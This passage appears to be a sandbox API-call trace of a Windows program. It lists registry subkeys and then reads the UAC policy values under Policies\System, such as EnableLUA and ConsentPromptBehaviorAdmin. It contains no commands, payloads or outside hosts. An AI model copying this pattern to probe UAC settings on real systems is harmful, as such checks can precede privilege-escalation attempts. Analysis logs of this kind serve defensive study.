dwFlags=0x0, lpWideCharStr="diagnostics", cchWideChar=11, lpMultiByteStr=0xddc0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="diagnostics", lpUsedDefaultChar=0x0) returned 11 [0023.822] RegEnumKeyW (in: hKey=0x24, dwIndex=0xe, lpName=0xddb930, cchName=0x104 | out: lpName="DriverSearching") returned 0x0 [0023.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driversearching", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0023.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driversearching", cchWideChar=15, lpMultiByteStr=0xddc120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="driversearching", lpUsedDefaultChar=0x0) returned 15 [0023.823] RegEnumKeyW (in: hKey=0x24, dwIndex=0xf, lpName=0xddb930, cchName=0x104 | out: lpName="EventCollector") returned 0x0 [0023.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventcollector", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0023.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventcollector", cchWideChar=14, lpMultiByteStr=0xddc0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventcollector", lpUsedDefaultChar=0x0) returned 14 [0023.823] RegEnumKeyW (in: hKey=0x24, dwIndex=0x10, lpName=0xddb930, cchName=0x104 | out: lpName="EventForwarding") returned 0x0 [0023.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventforwarding", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0023.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventforwarding", cchWideChar=15, lpMultiByteStr=0xddc120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventforwarding", lpUsedDefaultChar=0x0) returned 15 [0023.823] RegEnumKeyW (in: hKey=0x24, dwIndex=0x11, lpName=0xddb930, cchName=0x104 | out: lpName="Explorer") returned 0x0 [0023.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0023.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0xddc0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="explorer", lpUsedDefaultChar=0x0) returned 8 [0023.823] RegEnumKeyW (in: hKey=0x24, dwIndex=0x12, lpName=0xddb930, cchName=0x104 | out: lpName="Ext") returned 0x0 [0023.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ext", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0023.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ext", cchWideChar=3, lpMultiByteStr=0xddc120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ext", lpUsedDefaultChar=0x0) returned 3 [0023.823] RegEnumKeyW (in: hKey=0x24, dwIndex=0x13, lpName=0xddb930, cchName=0x104 | out: lpName="GameUX") returned 0x0 [0023.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gameux", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0023.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gameux", cchWideChar=6, lpMultiByteStr=0xddc0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gameux", lpUsedDefaultChar=0x0) returned 6 [0023.823] RegEnumKeyW (in: hKey=0x24, dwIndex=0x14, lpName=0xddb930, cchName=0x104 | out: lpName="Group Policy") returned 0x0 [0023.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="group policy", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0023.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="group policy", cchWideChar=12, lpMultiByteStr=0xddc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="group policy", lpUsedDefaultChar=0x0) returned 12 [0023.823] RegEnumKeyW (in: hKey=0x24, dwIndex=0x15, lpName=0xddb930, cchName=0x104 | out: lpName="Hints") returned 0x0 [0023.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hints", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0023.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hints", cchWideChar=5, lpMultiByteStr=0xddc0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hints", lpUsedDefaultChar=0x0) returned 5 [0023.824] RegEnumKeyW (in: hKey=0x24, dwIndex=0x16, lpName=0xddb930, cchName=0x104 | out: lpName="HomeGroup") returned 0x0 [0023.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroup", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0023.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroup", cchWideChar=9, lpMultiByteStr=0xddc120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="homegroup", lpUsedDefaultChar=0x0) returned 9 [0023.824] RegEnumKeyW (in: hKey=0x24, dwIndex=0x17, lpName=0xddb930, cchName=0x104 | out: lpName="HotStart") returned 0x0 [0023.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hotstart", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0023.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hotstart", cchWideChar=8, lpMultiByteStr=0xddc0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hotstart", lpUsedDefaultChar=0x0) returned 8 [0023.824] RegEnumKeyW (in: hKey=0x24, dwIndex=0x18, lpName=0xddb930, cchName=0x104 | out: lpName="IME") returned 0x0 [0023.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ime", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0023.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ime", cchWideChar=3, lpMultiByteStr=0xddc120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ime", lpUsedDefaultChar=0x0) returned 3 [0023.824] RegEnumKeyW (in: hKey=0x24, dwIndex=0x19, lpName=0xddb930, cchName=0x104 | out: lpName="Installer") returned 0x0 [0023.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="installer", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0023.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="installer", cchWideChar=9, lpMultiByteStr=0xddc0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="installer", lpUsedDefaultChar=0x0) returned 9 [0023.824] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1a, lpName=0xddb930, cchName=0x104 | out: lpName="Internet Settings") returned 0x0 [0023.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet settings", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0023.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet settings", cchWideChar=17, lpMultiByteStr=0xddc120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet settings", lpUsedDefaultChar=0x0) returned 17 [0023.824] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1b, lpName=0xddb930, cchName=0x104 | out: lpName="MCT") returned 0x0 [0023.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mct", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0023.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mct", cchWideChar=3, lpMultiByteStr=0xddc0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mct", lpUsedDefaultChar=0x0) returned 3 [0023.824] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1c, lpName=0xddb930, cchName=0x104 | out: lpName="Media Center") returned 0x0 [0023.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="media center", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0023.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="media center", cchWideChar=12, lpMultiByteStr=0xddc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="media center", lpUsedDefaultChar=0x0) returned 12 [0023.825] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1d, lpName=0xddb930, cchName=0x104 | out: lpName="MMDevices") returned 0x0 [0023.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmdevices", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0023.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmdevices", cchWideChar=9, lpMultiByteStr=0xddc0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mmdevices", lpUsedDefaultChar=0x0) returned 9 [0023.825] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1e, lpName=0xddb930, cchName=0x104 | out: lpName="MSSHA") returned 0x0 [0023.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssha", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0023.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssha", cchWideChar=5, lpMultiByteStr=0xddc120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mssha", lpUsedDefaultChar=0x0) returned 5 [0023.825] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1f, lpName=0xddb930, cchName=0x104 | out: lpName="NetCache") returned 0x0 [0023.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netcache", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0023.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netcache", cchWideChar=8, lpMultiByteStr=0xddc0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="netcache", lpUsedDefaultChar=0x0) returned 8 [0023.825] RegEnumKeyW (in: hKey=0x24, dwIndex=0x20, lpName=0xddb930, cchName=0x104 | out: lpName="OEMInformation") returned 0x0 [0023.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oeminformation", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0023.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oeminformation", cchWideChar=14, lpMultiByteStr=0xddc120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oeminformation", lpUsedDefaultChar=0x0) returned 14 [0023.825] RegEnumKeyW (in: hKey=0x24, dwIndex=0x21, lpName=0xddb930, cchName=0x104 | out: lpName="OOBE") returned 0x0 [0023.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oobe", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0023.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oobe", cchWideChar=4, lpMultiByteStr=0xddc0d8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oobe", lpUsedDefaultChar=0x0) returned 4 [0023.825] RegEnumKeyW (in: hKey=0x24, dwIndex=0x22, lpName=0xddb930, cchName=0x104 | out: lpName="OptimalLayout") returned 0x0 [0023.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="optimallayout", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0023.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="optimallayout", cchWideChar=13, lpMultiByteStr=0xddc120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="optimallayout", lpUsedDefaultChar=0x0) returned 13 [0023.825] RegEnumKeyW (in: hKey=0x24, dwIndex=0x23, lpName=0xddb930, cchName=0x104 | out: lpName="Parental Controls") returned 0x0 [0023.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="parental controls", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0023.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="parental controls", cchWideChar=17, lpMultiByteStr=0xddc0d8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="parental controls", lpUsedDefaultChar=0x0) returned 17 [0023.826] RegEnumKeyW (in: hKey=0x24, dwIndex=0x24, lpName=0xddb930, cchName=0x104 | out: lpName="Personalization") returned 0x0 [0023.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="personalization", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0023.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="personalization", cchWideChar=15, lpMultiByteStr=0xddc120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="personalization", lpUsedDefaultChar=0x0) returned 15 [0023.826] RegEnumKeyW (in: hKey=0x24, dwIndex=0x25, lpName=0xddb930, cchName=0x104 | out: lpName="PhotoPropertyHandler") returned 0x0 [0023.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="photopropertyhandler", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0023.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="photopropertyhandler", cchWideChar=20, lpMultiByteStr=0xddc0d8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="photopropertyhandler", lpUsedDefaultChar=0x0) returned 20 [0023.826] RegEnumKeyW (in: hKey=0x24, dwIndex=0x26, lpName=0xddb930, cchName=0x104 | out: lpName="PnPSysprep") returned 0x0 [0023.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pnpsysprep", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0023.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pnpsysprep", cchWideChar=10, lpMultiByteStr=0xddc120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pnpsysprep", lpUsedDefaultChar=0x0) returned 10 [0023.826] RegEnumKeyW (in: hKey=0x24, dwIndex=0x27, lpName=0xddb930, cchName=0x104 | out: lpName="Policies") returned 0x0 [0023.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0023.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0xddc0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0023.826] RegOpenKeyExW (in: hKey=0x24, lpSubKey="Policies", ulOptions=0x0, samDesired=0x20109, phkResult=0x18f774 | out: phkResult=0x18f774*=0xa0) returned 0x0 [0023.826] RegCloseKey (hKey=0x24) returned 0x0 [0023.826] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x0, lpName=0xddb930, cchName=0x104 | out: lpName="ActiveDesktop") returned 0x0 [0023.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="activedesktop", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0023.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="activedesktop", cchWideChar=13, lpMultiByteStr=0xddc120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="activedesktop", lpUsedDefaultChar=0x0) returned 13 [0023.826] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x1, lpName=0xddb930, cchName=0x104 | out: lpName="Attachments") returned 0x0 [0023.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="attachments", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0023.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="attachments", cchWideChar=11, lpMultiByteStr=0xddc0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="attachments", lpUsedDefaultChar=0x0) returned 11 [0023.826] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x2, lpName=0xddb930, cchName=0x104 | out: lpName="Explorer") returned 0x0 [0023.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0023.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0xddc120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="explorer", lpUsedDefaultChar=0x0) returned 8 [0023.827] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x3, lpName=0xddb930, cchName=0x104 | out: lpName="NonEnum") returned 0x0 [0023.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="nonenum", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0023.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="nonenum", cchWideChar=7, lpMultiByteStr=0xddc0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nonenum", lpUsedDefaultChar=0x0) returned 7 [0023.827] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x4, lpName=0xddb930, cchName=0x104 | out: lpName="System") returned 0x0 [0023.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0023.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0xddc120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0023.827] RegOpenKeyExW (in: hKey=0xa0, lpSubKey="System", ulOptions=0x0, samDesired=0x20109, phkResult=0x18f774 | out: phkResult=0x18f774*=0x24) returned 0x0 [0023.827] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddb930) returned 1 [0023.827] RegCloseKey (hKey=0xa0) returned 0x0 [0023.827] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddb860) returned 1 [0023.827] RegEnumValueA (in: hKey=0x24, dwIndex=0x0, lpValueName=0x18f680, lpcchValueName=0x18f67c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x18f67c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0023.827] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x10) returned 0xddb860 [0023.827] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x8) returned 0xddb878 [0023.827] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc0d8 [0023.827] RegEnumValueA (in: hKey=0x24, dwIndex=0x1, lpValueName=0x18f680, lpcchValueName=0x18f67c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x18f67c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0023.827] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x8) returned 0xddb888 [0023.827] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0023.827] RegEnumValueA (in: hKey=0x24, dwIndex=0x2, lpValueName=0x18f680, lpcchValueName=0x18f67c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x18f67c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0023.828] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x8) returned 0xddb898 [0023.828] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc168 [0023.828] RegEnumValueA (in: hKey=0x24, dwIndex=0x3, lpValueName=0x18f680, lpcchValueName=0x18f67c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x18f67c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0023.828] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x8) returned 0xddb930 [0023.828] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc1b0 [0023.828] RegEnumValueA (in: hKey=0x24, dwIndex=0x4, lpValueName=0x18f680, lpcchValueName=0x18f67c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x18f67c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0023.828] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x20) returned 0xddb940 [0023.828] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddb860) returned 1 [0023.828] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x8) returned 0xddb860 [0023.828] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc1f8 [0023.828] RegEnumValueA (in: hKey=0x24, dwIndex=0x5, lpValueName=0x18f680, lpcchValueName=0x18f67c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x18f67c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0023.828] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x8) returned 0xddb968 [0023.828] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc240 [0023.828] RegEnumValueA (in: hKey=0x24, dwIndex=0x6, lpValueName=0x18f680, lpcchValueName=0x18f67c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x18f67c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0023.828] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x8) returned 0xddb978 [0023.828] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc288 [0023.828] RegEnumValueA (in: hKey=0x24, dwIndex=0x7, lpValueName=0x18f680, lpcchValueName=0x18f67c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x18f67c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0023.828] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x8) returned 0xddb988 [0023.828] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc2d0 [0023.828] RegEnumValueA (in: hKey=0x24, dwIndex=0x8, lpValueName=0x18f680, lpcchValueName=0x18f67c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x18f67c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0023.828] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x30) returned 0xddb998 [0023.828] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddb940) returned 1 [0023.828] RtlAllocateHeap 